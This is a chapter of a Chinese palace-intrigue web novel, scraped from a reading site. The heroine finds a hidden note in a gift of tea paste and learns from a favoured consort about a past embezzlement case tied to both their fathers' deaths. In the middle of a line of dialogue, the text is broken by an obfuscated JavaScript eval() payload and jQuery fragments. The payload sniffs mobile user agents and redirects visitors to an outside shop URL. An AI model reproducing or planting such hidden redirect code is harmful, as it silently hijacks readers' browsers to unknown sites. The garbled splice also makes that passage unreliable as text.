文趣网 > 其他小说 > 入宫认识邪宦后 > 13. 第 13 章
    更重要的是,她终于知道了自己入宫的真正原因——所有人都以为程谦的女儿可能知道舆图的下落,所有人都在利用她,所有人都在试探她。

    皇后留她在尚宫局,是为了随时掌握她的动向。王忠审问她,是为了试探她究竟知道多少。周德海今夜去承运库,表面是调查银壶失窃,实则是为了销毁父亲留下的铜牌和转运记录,只不过她抢先了一步。

    而骆令孜……她依然看不透这个人。但他那句“唯一不愿意让你死的人就是咱家”,在此刻回想起来,竟然让她感到了一种奇异的安心。

    她不知道这份安心是真是假,还是在这危机四伏的宫中、感受到了一丝牵挂,从而让自己生了错觉。不过程景徽知道,在这一局棋中,她和骆令孜至少有一个共同的对手,那便是王忠。

    翌日清晨,腊月十一。

    程景徽照常去东暖阁呈送昨日整理好的、关于腊月十五祭天大典仪注单。皇后面色如常,看过单子后指正了两处细节,便让她退下了。

    从始至终,皇后没有提过昨日王忠问话的事,也没有问过程景徽昨夜的行踪。但程景徽注意到,皇后身边的宫女换了两张新面孔,周尚仪的眼神比往日更加沉郁。

    她退出东暖阁时,在门口碰见了一个身着藏蓝褙子的女官。

    那女官约莫二十五六岁,面容清秀,眉心有一颗朱砂痣,嘴角天然微微上翘,看起来颇为和善。她见了程景徽,微微一笑,敛衽行了个半礼。

    “这位便是程司记吧?久仰了。妾身是咸福宫宁嫔娘娘身边的女史,姓阮。”

    程景徽心头一动,面上却不动声色,回了礼道:“阮女史安好。不知有何见教?”

    阮女史从袖中取出一只青瓷小盒,双手奉上:“宁嫔娘娘手上的伤今日已大好了,太医说再过三两日便可拆纱布。娘娘说此事与程司记无关,她知道你是被冤枉的,心里一直过意不去。这小盒里是娘娘家乡的茶膏,不算什么贵重物件,聊表心意。请程司记莫要嫌弃。”

    程景徽接过青瓷小盒,心中疑窦丛生。

    宁嫔是什么人?那是万岁爷最宠爱的妃子,连皇后都要让她三分。她刚被自己送去的玉如意割伤了手,险些毁了容貌;里头更是有厌胜符,受惊不小。

    如今却反过来给经办赏赐的嫌犯送茶膏,安慰她“知道你是被冤枉的”,这太反常了。

    事出反常必有妖。

    她面上却露出感激之色,躬身道:“谢宁嫔娘娘赏赐。娘娘宽厚仁慈,奴婢铭感五内。请阮女史代为转达奴婢的谢意。”

    阮女史含笑点头,又寒暄了几句,便告辞离去。程景徽看着她的背影消失在甬道拐角处,脸上的感激之色瞬间收敛,取而代之的是一深思。

    她低头看了一眼手中的青瓷小盒,没有打开,而是收入袖中,快步往尚宫局走去。

    回到仪制司后,她关上门,取出瓷盒放在桌上,用铜簪轻轻撬开盒盖。

    盒盖应声而开,里面是满满一盒深褐色的茶膏,色泽油润,散发出浓郁的茶香。她用铜簪在茶膏中拨了拨,发现茶膏正中埋着一样东西,是一粒蜡丸。

    程景徽取出蜡丸捏碎,里面是一张极小的字条。字条上只有一行字,字迹娟秀,明显是女子手笔:“戌时正刻,咸福宫后罩房西暖阁。阮。”

    宁嫔要见她。

    程景徽将字条和蜡屑拢到一起,扔进火盆里烧了个干净。

    她盯着火焰将最后一点纸屑吞噬殆尽,心中的疑云越来越浓。宁嫔在厌胜符事件中明明是受害者,但她此后的表现却处处透着古怪。不仅在皇帝面前替刘掌事开脱、当众暗示皇后有嫌疑、如今又主动向她示好。

    这位宠妃,究竟在这场局中扮演了什么角色?

    一整日,程景徽都在盘算这件事。

    她照常处理尚宫局的公务,誊抄文书、核对仪注、分派腊月各宫的用度,阿蕊在她身旁忙前忙后。

    直到酉时末天色渐暗,她才搁下笔,对阿蕊说道:“我去一趟咸福宫。你在仪制司守着,若有人问起,便说我去内府库核对明日要用的绸缎。”

    “程司记……”阿蕊满脸担忧。

    “放心。”程景徽给了她一个安抚的眼神,“我去去就回。”

    咸福宫在后宫东北角,从仪制司过去要走两刻钟。程景徽到的时候天色已全黑,咸福宫后罩房的西暖阁里燃着一盏琉璃灯,暖黄的光透过窗纸映出来。

    阮女史已在门口等着了。她见了程景徽,也不多话,只侧身做了个“请”的手势,将她引入了西暖阁。

    暖阁内陈设精巧,炕上铺着毡毯,墙角博山炉里焚着沉香,青烟袅袅升起。

    宁嫔郑氏半倚在炕上,右手上的纱布已经拆了,只缠着一层薄薄的绢帕。她今日未施脂粉,素着一张脸,倒比那日盛装时更多了几分清丽。

    “程司记来了。”宁嫔微微一笑,抬手示意她在对面的绣墩上坐下,“本宫手上的伤还没好利索,不便起身,就这样吧。”

    程景徽依言坐下,姿态恭谨,但浑身上下每一根弦都绷得紧紧的。

    宁嫔将她上下打量了一番,忽然轻轻叹了口气:“你和你父亲长得真像。”

    程景徽心头一震,面上却不露分毫:“娘娘认识先父?”

    “不认识。”宁嫔摇了摇头,“但本宫见过他的画像。”

    她端起炕几上的茶盏,轻轻抿了一口,目光透过氤氲的茶雾落在程景徽脸上。

    忽然她话锋一转:“程司记,你知道本宫为何要见你吗?”

    “奴婢不知。”

    “因为本宫欠你父亲一个人情。”宁嫔放下茶盏,声音忽然变得郑重,“你父亲在工部任上时,本宫的父亲郑承宗是户部主事,与你父亲同在承运库办过差。定安二十年十一月,卫王府那批银壶入库之后,本宫的父亲在核对账册时发现了数目不对,明明是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882144|212485||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    四十八柄,账面却只记了三十六柄。他将此事报给了承运库大使赵安,赵安让他不要声张,说这批银壶牵扯到兵部的调令,上面自会处理。”

    程景徽屏住了呼吸,这是她第一次听到有人从另一个角度讲述卫王案的细节。

    “本宫的父亲没有声张,但他多了个心眼,将那十二柄银壶的转运记录私下抄录了一份,藏在承运库的旧档中。”宁嫔的语速越来越慢,语气更为沉重,“五天后,也就是定安二十年十一月二十三日,本宫的父亲在回家途中坠马身亡。仵作验尸的结论是酒后坠马,意外身亡。”

    暖阁里安静了一瞬,程景徽听到自己的心跳声,如擂鼓般响。

    “本宫当时只有十六岁,母亲也在次年病故。家中没了主心骨,那份转运记录也就此石沉大海。直到本宫入宫之后,有一回偶尔听司礼监的人提起卫王案,说你父亲程谦也是被牵连致死的京官,本宫才忽然想起来,当年在承运库办差的京官,除了本宫的父亲,另一个人就是你父亲程谦。”

    宁嫔抬起眼,目光直直地看向程景徽:“本宫的父亲死后,你父亲是唯一一个继续追查那十二柄银壶下落的人。他查到了什么,本宫不得而知。但本宫知道一件事,你父亲被抓进诏狱的前一天,曾托人送了一封信到本宫父亲生前的老宅。收信人那里写的,是本宫父亲的名字。”

    程景徽霍然起身,再也无法保持面上的平静:“那封信里写了什么?”

    “本宫不知道。”宁嫔缓缓摇头,“那封信不知所踪,只有一老仆正好碰到,说了一句‘怎么还有人敢往这送信’。’”

    程景徽缓缓坐回绣墩上,心中翻涌起惊涛骇浪。

    父亲在入狱前一天给宁嫔的父亲送过一封信,这说明父亲在最后关头,试图将自己的发现传递给另一个与卫王案有关的人。但郑承宗早在六年前就已经死了,那封信送到的是一所空宅。

    不对。她忽然意识到一个细节,宁嫔父亲早就死了,父亲不可能不知道这事,可父亲还是往人家的老宅里寄了这封信。

    而且郑家的老仆能说出那句话,并且还把话送到了宁嫔跟前,说明老仆收到了那封信。但宁嫔又说那封信“不知所踪”,那只有两种可能:要么老仆将那封信交给了别人,要么有人从老仆手中抢或是偷走了那封信。

    “娘娘,”她稳住声音,“那位老仆后来怎么样了?”

    宁嫔的脸上掠过一丝阴翳:“死了,收到信的第三天,失足落井而死。”

    又是失足落井,和许时冬一模一样的死法。

    程景徽只觉得后背一阵阵发凉。她忽然明白宁嫔为什么要见她了。

    宁嫔这是要利用她,宁嫔的父亲郑承宗同样是卫王案的牺牲品,宁嫔入宫之后一直在暗中追查这件事,但她身为天子宠妃,一举一动都在无数双眼睛的监视之下,根本无法像程景徽这样自由行动。所以她要借程景徽的手,继续追查当年的真相。